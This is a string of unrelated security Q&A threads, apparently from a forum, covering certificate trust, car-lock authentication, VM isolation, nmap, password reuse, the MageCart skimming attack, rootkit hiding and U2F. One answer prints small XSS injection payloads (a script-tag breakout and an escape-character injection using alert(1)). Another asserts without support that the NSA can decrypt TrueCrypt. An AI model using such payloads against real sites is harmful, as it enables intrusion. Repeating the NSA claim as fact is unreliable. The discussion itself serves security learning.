It's not impossible; Intel CPUs have had the ability to have new microcode uploaded into them for some time, and there are open source programs that can do so.  If someone can then decipher the microcode, they could then produce modified microcode with a different CPUID string embedded in it.  (It's supposed to have a checksum to prevent that, but I wouldn't be surprised to find the checksum is validated by the update utility and not the CPU itself.)


Trustworthiness of Let’s Encrypt and ZeroSSL within browsers and OS With regard to Are there technical disadvantages in using free ssl certificates? it has been highlighted by some that StartSSL is not a trustworthy CA, and I was wondering if Let’s Encrypt is the same.

I have been looking at using ZeroSSL to obtain a Let’s Encrypt certificate but I cannot seem to find anything online about how they rate compared to paid CAs for DV certificates?

I am not asking about comparisons between DV certificates as asked in the proposed duplicate.  I am asking about whether Let’s Encrypt is as trustworthy as say... Comodo or Verisign (scrubbed due to answer given).

StartSSL is not trusted, yet ZeroSSL says

  Issued certificates are supported by all major browsers and operating systems

and I can’t find anything which backs this up

From edits, I think you're trying to work out how Let's Encrypt certificates are trusted by browsers/OSes even though they're a new CA.

Essentially, they're trusted by older devices because their intermediate certificates (the ones they actually use to sign certificate requests) are signed by a known root certificate from another provider (IdenTrust) as well as by the Let's Encrypt root certificates. The IdenTrust root certificate is known to older devices, hence there is a chain of trust to a trusted root.

For newer devices, the Let's Encrypt root certificates are known as well, meaning that browsers which are aware of these certificates have multiple possible chains of trust to trusted root certificates - it can go site certificate->LE intermediate->IdenTrust or site certificate->LE intermediate->LE root.

In the case of StartSSL, the trust in the root certificate was revoked by browser and OS vendors due to various flaws in how the CA was handling certificate issuing. In theory, the same could happen to Let's Encrypt, but it could also happen to any other CA, if they're doing dubious things. For an example of a large CA having trust revoked, see Mozilla blog post on distrusting Symantec


Why do we still use keys to start cars? why not passwords? Around a year ago I have asked a question about the weakest factor of authentication.

I have had some good answers that convinced me as I always imagined the authentication process in my head as some employee in a high security facility trying to get access to his office by entering his pin or someone trying to login into his PC by entering his password but the answers make little sense if we were talking about a vehicle.

Car keys can get easily lost or stolen by a stranger you met in some pub but it's highly unlikely that you shout your password while you are sleep talking
It's a big hassle and an expensive process to change your car keys; Passwords are very easy to change.

As you can tell from the other question, the biggest issues with passwords (according to the answers I received) were:

If someone has your password, you may not be able to tell that they are actively exploiting that knowledge.
Passwords enable random guessing, offline dictionary search, and other attacks.

Well...

That's true if someone were spying on your system, but if a stranger had your car keys I don't think they would return your car and if they did, you will be able to tell that someone else had access to your car.
Having the car locked for 5 minutes after three failed attempts is a pretty good solution.

Are you in hurry to go to work?  Get inside the house and get the master physical key; having a master physical key that overrides the password system is a good rescue solution, but not when you carry it with you all the time. Carrying the authentication secret in your head is safer than carrying it in your pocket.

Few other things that come to my mind which makes me wonder why I've never seen a car with a password

You can always use your car as a getaway car in a bank robbery and you later claim that you have lost the keys and it was not you; you can't do that with a password.
A similar idea has been introduced by an infosec expert got turned down the other day on Dragons' Den even when he has invented a nice combination of a device that get attached to the car engine and a mobile app. The mobile app is superior to your physical key and you can't start the car without the app, even if you have the key.

Peter Jones attacked the idea based on the fact that your mobile might run out of charge; the authentication system of the car would never run out of charge as it gets powered by the car battery; it's replaceable, protected and if it's down, the car is down anyway and you can't blame the authentication system.

Poor password choices

The primary threat that a car lock protects against is theft of the car or of objects inside the car. Most theft is opportunistic, not targeted: go to a parking lot, try multiple cars until you find a poorly protected one. With passwords or PIN, you know that many people are going to pick password or 1234 or for the more paranoid their date of birth. Locking a car after failed attempts doesn't matter: the thief will just try the three most likely values on each car then move on.

Additionally, force-locking the car after failed attempts would be annoying if your kid starts mashing the buttons.

Shoulder surfing

Typing a password is vulnerable to shoulder surfing. It's hard to duplicate a physical key solely from pictures (it can be done, but only with precise enough pictures). It's impossible for an unaided human to duplicate a physical key.

It's easy for an unaided human to remember the PIN they've just seen somebody type. Pass by someone in a parking lot, note the PIN, see them the next day/week around the same time, profit.

Loaning

I can loan my car keys to someone. When they give me back the key, I can be reasonably confident that they no longer have access to my car. Sure, they might have duplicated the keys, but that requires time (if they only borrow the car for a short time, I know they haven't done it), and if I trust them enough to loan my car, I probably trust them not to copy the keys.

If there's a single password to open the car, then if I let someone use my car, they have access forever.

This can be solved by having multiple passwords to open the car, of course. But that adds another set of difficulties. One is that the key space might need to be larger: with a small key space such as a 4-digit PIN, the probability of an uninformed guess can become non-negligible with multiple valid codes. A bigger difficulty is that this requires Joe Random to do key management. Joe Random's VCR blinks 12:00 since the last power failure. (Maybe not anymore with DVR that have an Internet connection.) Joe Random understands physical tokens — if I have the object in my hand, I control it — but not password management.


arp spoofing in VMware ESXi I have a VMware ESXi server and I want to create two virtual machines with specific  public IP addresses.
Is it possible for the 2 virtual machines to sniff each other's traffic ? If so how can it be prevented ?

Yes, your VMs are just as susceptible to attacks as physical attacks, even from other VMs on the same network. There are several methods to isolate and protect your VMs from each other as stated here ESXi vCenter Security Doc. (see doc for more info here, lots of good ideas you can use):

Adding firewall protection to your virtual network by installing and configuring host-based firewalls on some or all of its virtual machines.
Keeping different virtual machine zones within a host on different network segments.

Use separate physical network adapters for virtual machine zones to ensure that the zones are isolated.
Set up virtual local area networks (VLANs) to help safeguard your network.


XSS JavaScript Double Quoted String with HTML Escaped Possible? Is it possible to inject XSS in a JavaScript variable if a website inserts HTML encoded, user input in a double quoted string?

var userString = "perfectly &quot;safe&quot; input from user?";

It is probably not possible to get XSS given this simple character restriction.  However, an attacker could inject an escape character,  for example:

var userString = "perfectly &quot;safe&quot; input from user?\"+"+alert(1);

In this case the attacker would be injecting a \ and an alert(1) in two different variables which existing in two locations within the <script> tag.  Escape characters are a type of control character that are commonly forgotten by developers when sanitizing attacker controlled data.

...  also hopefully you took this into consideration:

<script>
var userString = "</script><script>alert(1)//"
</script>


Nmap same site different computer different results I'm running nmap somesite.com on my local machine and I get the following results:

Host is up (0.026s latency).
Not shown: 942 closed ports, 50 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
5060/tcp open  sip
5500/tcp open  hotline
8008/tcp open  http
8010/tcp open  xmpp

I then ssh into my aws instance and run the same command, but I consistently get:

Host is up (0.098s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp
5500/tcp open  hotline

Both my local machine and server are running Ubuntu 16.04. I'm wondering why I would get such different results?

I guess somesite.com is external for your local machine and for your AWS machine too (I guess is not another AWS machine).

As people said in comments, at first sight it seems AWS is blocking some kind of traffic and from your AWS machine to somesite.com. There are some firewall restrictions.

But there are something strange on this... for example, you are "losing" port 443 which is a very common port used for SSL connections. And usually that port is not blocked by default even in AWS. So clearly your AWS machine has a special configuration or maybe is not your machine, is your AWS environment. Ask to the admins or if you are the admin, ask to Amazon.


Password broken = compromised? Recently my account in a social network has been attacked. The attacker managed to break the password, but thanks to the 2-factor auth, that wasn't enough to access the account. I have received a notification of an auth attempt and a one-time password

My password that was broken was pretty thick - it was long and contained letters and digits, there is no way someone could just guess it, so all I can think about is bruteforce.
I have already changed the password, but it was used on some other websites, too, and that somewhat bothers me

I know that users' passwords are stored as hashes in websites' databases, and that hashes have such thing as collisions - when two different strings have the same hash. So it may be possible that the attacker didn't actually brute my actual password, but just some string which has the same hash as my actual password

My question is: what is the possibility of that? Does the fact of the password break necessarily mean the attacker now knows my actual password?

You are right that hash collisions are a thing, but it is not at all relevant to your situation. Collissions in a good hash function should be so rare that there are no single case of them known to humanity. So the probability that there exists two passwords on any brutforcers list that both give the same hash is very, very, very small.

So, someone knows your password. I can only assume one site where you used it was hacked, and attackers are now trying your password on accounts on other sites. The chanses are high that your accounts using this password without 2FA have already been breached. This is why you should not reuse passwords!

What to do then? You need to change your password on each single site where you have used this one, and you need to change them to unique and strong ones. No more reuse. This would be a great time to start using a password manager to help you remember all these new passwords you will need.


What is the recommanded periodicity for antivirus RAM and disk scans? Antivirus scans consumes resources, and far more when the full disk or RAM is scanned. Anyway, files are scanned before opening and often when they enter the system, so periodic scans on this point of view may be runned not frequently, possibly not at all.

Can antivirus be configured to scan a file when it is modified? If yes, what justify periodic scans of disks and RAM? Then what are the recommanded periodicities for both?

I am not aware of antivirus programs scanning files when they are changed, but they don't really have to. As long as they are scanned before they are loaded/executed and the program modifying them is scanned, it should be fine.

There are many reasons to scan RAM for viruses. I can think of two major ways viruses may appear in RAM even though the files were scanned. One is for the virus to be encrypted. The antivirus would not be able to identify it, unit it was decrypted in memory. The other is by network attack, for example abusing a buffer overflow to write the virus directly to memory without storing it in a file. However, many antivirus programs will have ways to deal with both of these scenarios to some degree. Obviously this means ideally you would want to scan your memory as often as possible and you need to balance it with your performance requirements.

The reason why full disk scan is justified is that antivirus signature databases are being updated regularly (possibly every day). A virus may not have been known and detectable when the file was downloaded but may be detectable now. However, because files are scanned on load, this only makes sure there are no latent viruses on the disk. I would say once a week should be enough for this.


How safe is a 3.5mm headphone jack on a laptop? Not sure if there is a more proper stackexchange for this...
I have heard vaguely of problems with usb devices being insecure for obvious reasons, but what about headphone jacks? Can they impersonate devices like keyboards, send data such as keystrokes to the machine? I am trying to imagine a scenario like the in-line microphone housing a gsm broadcaster/receiver, which would receive power from the port. So a malicious device wouldn't necessarily have to interface with the computer/phone in an obtrusive manner, but just sit there and suck up all audio within range and transmit it across a cellular network? Is this feasible? Also, do fbi agents sneak into my room at night and move things around in a subtle way in an effort to "gaslight" me? Just kidding about the last question.

Edit to explain difference from "can headphones transmit malware":
What about the other scenario I described where only power is transmitted TO the headphones and the inline microphone houses wifi or cellular transmitter/receiver?

Edit for clarification: A lot of interesting points have been brought up, but I feel like I must not have described this well, since answers range from Van-Eck phreaking scenarios, to alteration of the laptop's hardware.
    The laptop has nothing to do with what I am describing. Assume the laptop (hardware and software) is known to be completely clean and trusted. I am talking about a malicious set of headphones with inline microphone (the little box on one of the wires to the headphones). Inside the inline microphone box is a transmitting device (ideally it would be a cellular transmitter). The inline microphone would be always on, and transmitting all data to some malicious actor over the cellular transmitter. The inline microphone and headphones would still function as normal from the users perspective. The transmitter would receive power from the 3.5mm jack.

No. The FBI agents thing is more likely; that's at least possible to imagine a scenario whereby it could occur.

The 3.5mm port is an analog port for audio. A malicious device can't impersonate anything, because it has no way to identify itself as anything (fraudulently or otherwise). Anything sent down to the computer would just be received as... microphone input. The vast majority of laptops and many desktops have microphones that are connected 24/7, and send signals whenever there's powerful-enough sound waves to create a detectable electrical impulse. Nothing comes of it.

The scenario you describe is not relevant to the 3.5mm port; that's about the question of "could somebody build a malicious device into a microphone" and has nothing to do with the jack, per se (mics can also connect via USB, Lightning, Bluetooth, and a bunch of other stuff). The answer to that is, technically, yes, but they could do the same thing with your mouse, your monitor, your case, your flashdrive, your webcam (most of which have mics, not that this matters), your DVD drive, and anything else. Ironically, it would not work the way you describe it; the computer doesn't push any power out the audio jack unless it's trying to play audio out that jack, so your device wouldn't get any juice most of the time!


SSL certificate for "typo" sites Lets say I own a website say, citiibank.com. (extra i )Will certificate issuing authorities issue a https certificate to the site? For all they know it is a valid website, whose name just happens to be similar another website. Is there some validation of the credentials of the website before issuing certificates?
The context for asking this is from my typical usage of secure sites, I see the padlock and generally proceed.

The short answer: if you own a domain you can get an certificate for that domain, period.  It's similarity to another domain is irrelevant.

The bigger question seems to be "what sort of looking at an https page do I need to do to ensure it's really the page I think it is before entering my credentials".

The short answer to that is that you should look for the address bar to turn green, indicating an EV certificate (see below).  You might consider additionally using something along the lines of the Perspectives project (site) which bypasses the CA system and it's vulnerabilities and provides an independent check.

There's some things about certificates you should know to better understand this answer:

There are in fact at least three different levels of https certificate (see here for example, and here for a more complete listing of certificate types):

Domain Validation (DV) certificates
Organizational Validation (OV) certificates
Extended Validation (EV) certificates

A DV certificate will show the padlock in your browser.  When a CA issues a DV certificate, it is asserting that the person it got this certificate from is in control of the domain name in question.  That is all.  This can be certified, for example, by an email loop to, say, webmaster@domaininquestion.com, or by the CV requesting some random information be put on a specific page of that domain.

An OV certificate requires more checking than that, and an EV certificate requires even more checking.  When issuing an EV certificate, the CA is asserting that the entity named in the certificate actually exists, and that someone at that company actually requested the certificate.  Things like DUNS number for the company are looked up and checked.

An EV certificate usually turns the address bar green in some fashion.  This gives you as much assurance as you can get from the CA system that the web server you're talking to is what you think it is (if any CA trusted by your browser has issued a fake certificate for that site you're still in trouble - hence the problem with the CA system).

Confusingly, OV certificates often do not have any special way to distinguish them from DV certificates.   Sigh.

Note that the perspectives project is not fool-proof.  I use it myself, and it consistently reports that google is being impersonated every time I connect.  This is because google changes their certificates so rapidly and has so many of them, not because of an actual attack. Still, for many sites it provides a useful double check.


Is there any solution to this system? INTRODUCTION

First of all, I'm a beginner in RSA mechanisms and similar but I'm really interested in knowing if this is possible.

In this scenario, I organized a party where certain people receive a special invitation voucher I made with my private key. They will later use it to enter and I will check if it is valid with a public key.

On the begining let's suppose the voucher has someone's ID and the voucher ID "signed" below by a private key. By this mean, I can ensure THIS person will enter with THAT entrance ID.

MAIN PART

But now I want this vouchers to be transferable in OFFLINE mode with some sort of program. So now it would consist of two blocks; the second one ensures the ticket IS the one. And the first block, would contain the actual holder of the voucher:

.............................................. BLOCK 1

ACTUAL HOLDER DATA

SIGNATURE OF THIS BLOCK

.............................................. BLOCK 2

ORIGINAL HOLDER

VOUCHER ID

SIGNATURE OF THIS BLOCK

..............................................

I provide the first invitee with his own private key, so he can modify the first block to change the ACTUAL HOLDER DATA in virtue of the new person he transfered the voucher to. When he/she does this, he also provides the private key to the new person.

THE FLAW

If (let's call him) Mallory makes a copy of his voucher before he transfers it to Alice correctly, he would be ALSO able to enter to my party although Alice should be the only one capable of entering. And so, the number of invitees could be infinite.

My question is simple, how can I disable Mallory's voucher?

Option 1 would be to make the transaction online and add to a server which acknowledges that Alice is the new owner of THAT voucher. Otherwise I need a mechanism to make the old voucher obsolete, unless anyone proposes something better.

Anyone?

What is the problem you're trying to solve here?

Do you only want only specific people to enter? Just don't allow transferring of the vouchers offline. Issue a new voucher and revoke the old one via another mechanism if a person asks their voucher to be transferred.

Do you want the vouchers to be transferable? Just don't store the name on the voucher, and allow anyone with a signed ID to enter.

If you're giving a private key to someone, you're doing something very wrong.


Should a corporate laptop client-server VPN connection last for days? I was experimenting over the past few days with letting my laptop hibernate vs. shutting down on a daily basis (I have always been a shutdown guy, but am trying to update myself).  While on business travel I used the corporate VPN to connect back to the the company network for e-mail, file access, etc.  I logged into our VPN using a soft-token that requires a PIN to get the secondary log in password (a pseudo-random number).  Over the next two days I changed my location and WiFi network several times, simply hibernating the laptop and never shut it down.  I did expect the VPN connection to persist for brief hibernation times (e.g. an hour or so), but was very surprised when after 8 hours of hibernation overnight, the VPN connection had persisted.  I never had to re-enter the number from the soft token.  I had expected a message along the lines of "sorry - time's up.  Re enter your token key please."

I looked both on Information Security Stack Exchange and on-line generally and did not find any clear guidance.  I did notice several organizations that provide VPN, such as universities, clearly state in their VPN FAQ's that the VPN would time out after 8 hours and users would have to re-enter their credentials.

I see a vulnerability:  if someone had my login password (which I type in each time to wake up the computer, so they could simply video me entering it) and then gets the computer, they now have VPN access into my company.  It seems to me to defeat the purpose of the soft token.

Is it considered a security best practice to "time out" the VPN connection on a predetermined basis, forcing credential re-entry?  If so, what would be a good baseline time period for laptops on business travel?

This will depend entirely on the use case for the majority of the staff.

If they typically run long term sessions because their applications or work require it, then you can be sure that trying to move to a shorter session length will cause problems.

If they mostly run applications that can work unattended and only need to be checked later, then a very short session time may be appropriate.

This is one of those areas where you need to weigh up usability and security. If you are in a position where someone stealing your laptop and videoing or watching you entering your pin is a realistic risk then perhaps it is appropriate to have a conversation with your IT team. So no, there is no 'best practice' as it will depend entirely on your requirements.

Most organisations I have worked with have an RSA token or a soft token as part of the connection, so they would have to steal the token, know the username and password and PIN. All without me knowing, as I could call in and cancel it if I knew it was stolen.


How can I secure the secret key? I am a bit confused about securing the secret encyption key. Here is the scenario:

I need to encrypt some data (file)
This data will be read by a program (say written in C/C++).
Both the program binary and encrypted data will be accesible to some arbitrary user.

However, in order to read the data the program needs to have the secret key that was used to encrypt the data. One possibility would be to hard code the secret key into the source code of the program itself. However, the key can be found out even from the compiled binary! I also do not have any possibility of taking input from the user for password/secret key etc. I also don't have any network access to request a server to send the key. Please, assume the OS to be linux/linux like.

So, the question is, how can I secure this key?

The best possible scheme would be having that one encryption key for every user, similar to an authorization code given out for Microsoft products.  The only difference would be that every single program you give out would have to have a different encryption key embedded into it.

That would be the only way to somewhat secure the encrypted data.

Either way you are breaking Kerckhoffs's principle (2. Enemy knows the system), so it would probably be good to implement run time decryption / obfuscation of the class that will be decrypting the data file.  It won't stop people who really want to get it, but it would definitely put up a barrier.

There's no good way of 100% securing your program.


What kind of ISO 27k certifications can an individual get? I heard that there are ISO 27K certifications. E.G. Info Security foundation based on ISO/IEC 27002. I am interested how it is possible to get a higher level, what kind of options there are to get iso 27k certifications, what are the steps?

Thanks and regards

An individual cannot be certified to ISO 27001. It is a management system standard for organisations. An individual could become an ISO 27001 lead auditor or and ISO 27001 lead implementer.


TrueCrypts full Disk Encryption still secure? I'm wondering because it only uses RIMPEMD-160 with just 3000 iterations. Isn't that somewhat low and weak?

Even though I saw the NSA document that the NSA were not able to break TrueCrypt in 2012.

even if they were not able to decrypt in 2012, that doesn't mean that the NSA will take the locked door entrance when they already have a backdoor open, seeing as  they are known for having backdoor in many OS distributions, as well as being able to decrypt HTTPS. these documents are also from 2012, and truecrypt has stopped support for almost a year now, so we have to assume that by now the NSA is able to decrypt it.

sources:
http://truecrypt.sourceforge.net/
http://www.theverge.com/2014/12/28/7458159/encryption-standards-the-nsa-cant-crack-pgp-tor-otr-snowden


MageCart attack on Newegg I am reading about an attack that occurred during August of this year conducted by the group MageCart through the use of "card skimming" to steal credit card info from Newegg users. While reading about it using the sources listed below, it seems that MageCart hackers were able to insert malicious javascript code inserted during the Checkout step. A window.onload() function implementation would take credit card information and send it to a server associated with the group:

"Volexity was able to verify the presence of malicious JavaScript code limited to a page on secure.newegg.com presented during the checkout process at Newegg. The malicious code specifically appeared once when moving to the Billing Information page while checking out.  This page, located at the URL https://secure.newegg.com/GlobalShopping/CheckoutStep2.aspx URL https://secure.newegg.com/GlobalShopping/CheckoutStep2.aspx, would collect form data, siphoning it back to the attackers over SSL/TLS via the domain neweggstats.com " (source : https://www.volexity.com/blog/2018/09/19/magecart-strikes-again-newegg/).

But my question is, how did they go about putting the malicious code there in the first place?

From another source : "Volexity believes that the Newegg website may have been compromised and actively facilitating financial theft for over a month. A key date in the Magecart attacks against Newegg come from the registration data of the neweggstats.com domain. The domain was registered on August 13, 2018 at approximately 16:36 UTC via Namecheap. This indicates the attackers had likely already compromised the Newegg website and were preparing to launch attacks. WHOIS information form the domain shows it was registered with privacy protection" Source : (https://www.volexity.com/blog/2018/09/19/magecart-strikes-again-newegg/

What does "compromised the Newegg website" mean? Does this mean they had access to the php files on the server that stored the Newegg code and that they manually added their javascript snippet?

I doubt we'll get to know the exact details of how they were able to put the malicious JavaScript on newegg.com. For that to happen, newegg.com would likely need to provide the public with undisclosed information about their private infrastructure.
Speaking in general terms, the answer is that... something was insecure on their server or within their software. There are virtually unlimited possibilities of how this may have happened.
The following detail is interesting:

A key date in the Magecart attacks against Newegg come from the
registration data of the neweggstats.com domain

This implies that the forensics team at Volexity were not able to determine when the attack began using data found on newegg.com's server. For instance, files that had been touched may have had their timestamps reverted to their pre-modified dates. Their estimate of when the compromise began is based on a domain registration date... but maybe the attacker had been using a less convincing domain for a long time before deciding to switch to neweggstats.com.
A few common possibilities are below.
SQL Injection
An attacker may be able to discover enough about your database schema to learn that the contents of a given table/column are inserted into every page without sanitization. The attacker may then discover an SQL Injection point and be able to INSERT a script tag into the given table/column. The software would then happily include the attacker's malicious JavaScript on the page.
Phishing for admin credentials
The administrative portion of the website may openly allow script tags to be included in the site's layout in some way. This could include general template editing (ability to make changes to the website's HTML using an editor) or it could be something like an admin tool that allows you to upload payment images for the checkout pages (technically, this is the same as the first example).
The software might even allow an admin to simply upload a JavaScript file that would automatically be included on the website.
Providing value
Any third party JavaScript that you include on your website has the ability to be malicious. One could simply advertise a service for advanced ecommerce analytics to get their malicious code included on your site. Then the site owner would do the hard work for you.
Unsecured image uploads
Images can contain executable code. Some sites allow users to upload photos with their product reviews. If newegg.com allowed this, but did not sanitize the images, then an attacker would be able to get their executable code on the server easily. Once on the server, the attacker would need to cause the server to "run" the image as code. This can be done if your server is misconfigured or if your software has a security hole that would allow the image to be included as code. The malicious executable would then run with the same permissions as the webserver (or worse). At that time the software could append code to an already included JavaScript file on the server.
Summary
Writing software and making it secure are very different tasks. Sometimes a company puts emphasis on adding features because the folks that run the company are primarily interested in their profits. The idea that labor should be invested in securing their software never even crosses their minds until after a breach has taken place.
Often the employees who might be responsible for securing their software are inexperienced, underpaid, overworked, or inherit insecure systems from previous employees. When no one has the job of securing your server / software, vulnerabilities find their way in.
The method(s) an attacker may use to compromise a site is usually multi-faceted and may not be completely understood even after the compromise is discovered. Hiring a forensics company can be helpful, but their abilities may be limited due to the server's configuration (for instance, logs may only be stored for a short period of time).


Mutual Authentication - client authentication to the server via IP / FQDN? I'm trying to get a better understanding of the Server / Client Mutual Authentication process in a TLS1.2 mutual authenticated session.
My understanding is that the client is able to fully authenticate the server's identity also relying on the FQDN issued to the certificate presented by the server during the handshake negotiation; however, I believe the server is only relying on a valid client cert being presented by the client (that is, a certificate trusted by the PKI locally installed on server's side or generally trusted via OCSP/CRL) but not necessarily on proof of identity from client's side based on the IP / FQDN (if any) contained in the certificate issued by the client

Is there any way to implement client authentication on the server's side based on the IP / FQDN presented by the client ?

I'm asking also because several SSL VPN remote access solutions mention TLS1.2 mutual authentication - but technically I have the feeling that the way server and client are authenticating each other is somehow asymmetrical.

Is there any way to implement client authentication on the server's side based on the IP / FQDN presented by the client ?

Yes, this can be done. For the server certificate the client verifies not only the certificate chain of the servers certificate but also checks the subject against the hostname of the URL. With client certificates the server should do similar checks, i.e. check the subject of the certificate against the expected subject.

But the question remains what the expected subject should be. In case of a VPN this might be the IP address of the client or the FQDN as determined by a forward confirmed reverse DNS lookup. Or the server could have a specific configuration which  subject to expect from each VPN endpoint. Or if this is only a VPN to connect a single client to the company the client certificate might contain the email or the account name of the user.

Thus in summary: yes, this can be done but there is not a single true way. Instead how the subject should be done depends on how the product will be used and different products offer different ways of checking the subject of the certificate.


Is there such a thing as public key steganography One of the drawbacks of traditional steganography is that both parties need to exchange a secret key. Encryption had this problem too but circumvented this with public key cryptography.
Are there any cases where this has been done with steganography, where a message can be encoded with a public key and retrieved with a private one?
Google seems to bring up a few research papers but nothing practical.
Remember steganography is considered broken if the presence of a message is detected.
Edit to explain more
Alice wants to send Bob a message, however Eve is monitoring Alice's communication.
Alice can encrypt a message, but Eve will know that a message was sent and can demand the key from Bob to read the message.
Alice can use a keyless steganography algorithm to embed a message in an image, but Eve can check any images sent for messages using known algorithms.
Alice can encrypt a message and use a keyless steganography algorithm but Eve can check the image, extract the message and then demand the key from Bob
Alice could use a keyed steganography algorithm and Eve would not be able to detect a message even if he was checking. However Alice has no way to get the key to Bob so that he can read the message.
If there is such a thing as public key steganography Alice could embed a message using Bob's public key Eve would not be able to detect a message and Bob could read it without the need to exchange a key. However I don't know if such a thing exists.
Edit 2
This question and it's answer points out the issue with the 'encryption as random noise' suggestion. Encryption is not specifically designed to be indistinguishable from random noise, it is an artifact of some systems but not guaranteed.

One of the draw backs of traditional steganography is that both parties need to exchange a secret key.

Don't infer from the implementation of one specific tool to the limits of steganography itself. Steganography is just the hiding of information within other data. It does not matter if the information you want to hide by itself are unencrypted, rot13, encrypted with a shared key or encrypted with PGP or similar.  This means you can encrypt a message with whatever encryption system you like and then hide the encrypted message using steganography.


How can someone execute arbitrary code on Python's built in server module? I'm not sure if this question could be consider inappropriate here.

$ python -m http.server

The source code tells:

# https://hg.python.org/cpython/file/3.5/Lib/http/server.py#l21

SECURITY WARNING: DON'T USE THIS CODE UNLESS YOU ARE INSIDE A FIREWALL
-- it may execute arbitrary Python code or external programs.

How could someone may execute code if the server is only showing files? Is someone safe behind UFW defaults? (just allowing the chosen port 8000/tcp)

The warning is under the header of

  Notes on CGIHTTPRequestHandler

The CGI handler can be used to execute arbitrary program. If you just want to serve static files, you should use the SimpleHTTPRequestHandler.

In either case, the HTTP servers included in python aren't many for production uses, they are simple server for quick demos and lack many important functionalities and security hardening necessary for a production environment.

The firewall note is about that, in if you don't control who can connect to your local machine, you may be in for a security trouble even for local testing, if you have a malicious user connected to the same network.


Is there a secure method of distributing keys to network-booted diskless nodes? I have a bit of an 'initial trust' issue. We are using CoreOS to run Kubernetes, and secure both the etcd API and the Kubernetes API servers using client certificates. We are using iPXE to boot everything except the etcd servers.

The issue I am trying to overcome is how to distribute the client keys in a secure AND automated way? Are there effective ways of uniquely and securely validating a machine without storing anything to the disk?

Our requirements dictate that the solution can be used on both physical and virtual nodes, and allow for dynamic, on-demand scaling, which means that physical devices are not an option.

My colleagues have suggested using firewalls to secure a node that hosts the keys (i.e. a web server), but I am convinced there must be a more secure option. I suspect it may have something to do with the TPM, but my current research hasn't provided any practical examples as of yet.

Thanks in advance for any answers/comments/edits!

Fundamentally, to trust a computer, you need to verify that it knows something that only the computer you're expecting knows. This is how all certificates work: you assume that because they signed something with a key that only they could possibly know then it's actually the person you wanted to talk to.

The same applies for computers: the computer has to have something only it knows that you know that it knows to authenticate it. Using people an example, there are three factors of authentication (two of which are used for "two-factor authentication"): something you know, something you have, and something you are.

Something you know: This would be a [private] key stored on the disk. You've stated you don't want this, so this is a no-go. (For humans, this is a username/password authentication challenge).
Something you have: A USB PKI token/key could be used for authentication with the idea that you have physically plugged this key into the computer you want to trust. They key itself cannot be copied, but this is vulnerable to malware running iPXE in a virtual machine, giving it access to the token, but then intercepting all its memory-accesses and the like (but, then again, this is always a threat?).
Something you are: e.g. A MAC address or other unique ID. This, however, is easy to fake because if you know it than it can be copied. In humans, this is like DNA, a retina, or a fingerprint - something you are and cannot [reasonably] copy. Computers have this too, but it's much harder to prove this over a network without it degrading to something you know quickly.

To make this work, you really need to put a key on the computer (something you know) or put a PKI token into the computer (something you have).


Detect Axcrypt files on hard drive I have lost some Axcrypt files on my hard drive, as I have changed the extension.
Is there a way to detect those files (via header, size, etc.)

If not, are there some tools to detect discordance between a file's header and filetype?

The encrypted files have a common header. The first 4 bytes of AXX files are C0 B9 07 2E. The static header is actually longer than this, but 4 bytes should be enough to rule out false positives.


How Regin hides running instances of itself? I have been reading Symantec & Kaspersky Labs analysis of the Regin malware.

According to Symantec

  [Stage 2] can also hide running instances of Stage 1. Once this
  happens, there are no remaining plainly visible code artifacts.

As I understand Stage 1 is implemented as a Windows Driver, and there exists no safe way to unload a Windows Driver without requiring a reboot (Even if so Stage 2 itself is another kernel driver as well).

Similarly, from what I can tell there exists no way (nor legitimately should there be) to intercept and manipulate the list of running Kernel drivers, the way a rootkit might for a file on the file system.

So how does Stage 2 hide running instances of Stage 1? There seems little information on this online?

Source:
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/regin-analysis.pdf - Page 9

I'm not a kernel hacker, but from what I read the technique is analogous to a function hook in user space.

Premise

User space code interacts with the kernel through system calls.
There are system calls that reveal information about the state of the kernel, e. g. f returns list of loaded kernel modules.
The kernel manages a table t of system calls and the location of their implementation in memory.
A kernel module (a. k. a. “driver”) m becomes a part of the kernel, when it's loaded, thus gaining full access to everything the kernel can access.

Steps

m is loaded/injected into the kernel in some way. Now it can do anything it wants to the OS including hooking into some of its infrastructure.
m replaces entry tf holding a reference to function f, which would help to reveal the presence of m. In its stead m places a reference to a similar function f' into tf, which is a part of m and uses f but filters and/or transforms the results as to hide the traces of m.
A user space program is looking for suspicious kernel modules and wants to call f. After receiving the system call the kernel looks up tf, because it expects tf to hold a reference to f. Instead it finds and calls f'. Thus the user space program will receive a result controlled by m.


How to find out if a connection encrypted? I'm sniffing a connection that uses ICEP (ZeroC ICE Protocol), and its packet bodies compressed using BZ2 (GNU BZip 2) algorithm.

I want to find out whether packets encrypted, or not. ICEP can use OpenSSL to encrypt the traffic.

Additional Info

It's a local network, and I use WireShark to analyze the traffic. The client is a .Net application on windows, and Server is a Python application on a Gnu/Linux machine. If they use any encryption, it is possibly the ADH (Anonymous Diffie-Hellman cipher) cipher.

I also tried to use the command # openssl s_client, but it says:

CONNECTED(00000003)
3894:error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol:s23_clnt.c:583:

Watch the stream and look for negotiation using defined encryption protocols. If you know the data is compressed with bzip2, look for the strings 0x314159265359 and 0x177245385090. Unless headers are totally stripped out, they'll appear once for every block. You can take a guess at whether data is encrypted by following the stream and checking for entropy. The more entropy per bit, the more likely you're seeing encryption. This unfortunately applies to compression as well.

I would say that you can discern known encrypted, or known unencrypted. Differentiating encryption or compression would take a while and involve more complex code without header information for magic strings (like above) to give it away.


Spectre/meltdown on a GPU Are GPUs vulnerable to spectre/meltdown attacks, since they have most of what makes CPUs attackable? Is there any information in the VRAM, that would cause trouble if it was stolen?

First of all you would not normally expect kernel memory to be mapped in a GPU. Even if you did modern GPU's generally don't have much in the way of support for sharing memory between processes.

There have certainly been research papers on speculative execution inside of a GPU - Speculative Execution on GPU: An Exploratory Study; Liu, Eisenbeis, Gaudiot - but I don't believe it is actively done at a hardware level by any existing devices.

So whilst theoretically there is nothing to stop you building a GPU/OS setup that may allow it I doubt this is possible on any existing products.


Is there any security risk, if the database with key handles for U2F devices are leaked? Is there any risk, if a database of U2F device key handles are leaked?

Enrolling a key works by:

Send Enroll request with "AppID" to U2F device.
U2F device answers with "Key Handle, Public Key".

Authentication works by:
Send Auth request with "AppID, Key Handle, Challenge" to U2F device.
U2F device signs this and returns "Signed Challenge" to server.

